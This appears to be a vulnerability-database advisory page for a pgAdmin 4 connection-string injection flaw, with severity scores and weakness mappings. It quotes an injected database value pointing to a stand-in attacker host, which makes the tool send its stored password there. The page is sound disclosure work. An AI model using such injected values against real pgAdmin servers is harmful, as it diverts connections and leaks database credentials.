CVE-2026-86862
CVE-2026-86862 — pgAdmin 4: Connection-string injection via the database field in the Restore and Maintenance tools
pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary…
Published Updated Sources: cvelistV5, PostgreSQL
Triage
Is it exploited, how likely is exploitation, what does it touch, and how severe do the scoring sources call it.
Exploitation
Unreported
no source claims exploitation
EPSS
<1%
chance of exploitation in 30 days
CVSS base
6.5
MEDIUM
CISA SSVC assessment
Three decision points CISA publishes for the CVEs it assesses · SSVC 2.0.3. A stakeholder decision, not a severity score.
Exploitation
None
none · proof-of-concept · active
Automatable
No
can an attacker script all four kill-chain steps
Technical impact
Partial
partial · total control of the vulnerable component
Affected scope
The catalog records vendors and products as separate lists, not pairs, so which product belongs to which vendor is not something this page can say.
Vendors (1)
Products (1)
Every base score collected
Sources score independently and disagree; each row says who scored it and under which version.
| Score | Version | Severity | Expl. | Impact | Source |
|---|---|---|---|---|---|
| 6.5 | CVSS 3.1 | MEDIUM | n/a | n/a | cvelistV5 |
Weakness & attack patterns
- CWE-88
- CWE-522
- CWE-918
Attack patterns reported against this CVE. The ATT&CK techniques below are inferred from its weakness class.
- T1552.004Unsecured Credentials: Private Keys
- T1558.003Steal or Forge Kerberos Tickets: Kerberoasting
- T1543Create or Modify System Process
References
1 on the record
- github.com/pgadmin-org/pgadmin4/issues/10388
issue-tracking
Related CVEs
Same product first, then the same weakness or threat actor.
- CVE-2024-2044 Unsafe Deserialisation and Remote Code Execution by an Authenticated user in pgAdmin 4CVSS 9.9
- CVE-2024-3116 Remote Code Execution Vulnerability through the validate binary path API in pgAdmin 4CVSS 9.8
- CVE-2026-83548 SonicWall SMA1000 Appliances Server-Side Request Forgery VulnerabilityCVSS 10.0 · CISA KEV
- CVE-2026-49869 Kestra: Unauthenticated Remote Code Execution via Authentication Bypass in `AuthenticationFilter`CVSS 10.0 · CISA KEV
- CVE-2026-15409 SonicWall SMA1000 Appliances Server-Side Request Forgery VulnerabilityCVSS 10.0 · CISA KEV
- CVE-2021-34473 Microsoft Exchange Server Remote Code Execution VulnerabilityCVSS 10.0 · CISA KEV
Elsewhere on this site
- Pgadmin Orgevery CVE for this vendor
- CWE-88other pages naming this weakness
Not in any source we poll
Listed rather than left blank: an empty field and an unmeasured one look identical on screen, and only one is a reason to look elsewhere.
- No confirmed IOCs, IP addresses, domains, file hashes, or malware artifacts supplied.
- No organization-specific asset inventory, compensating-control status, or patch deployment evidence supplied.
- No exploit packet captures, log samples, or incident case IDs supplied.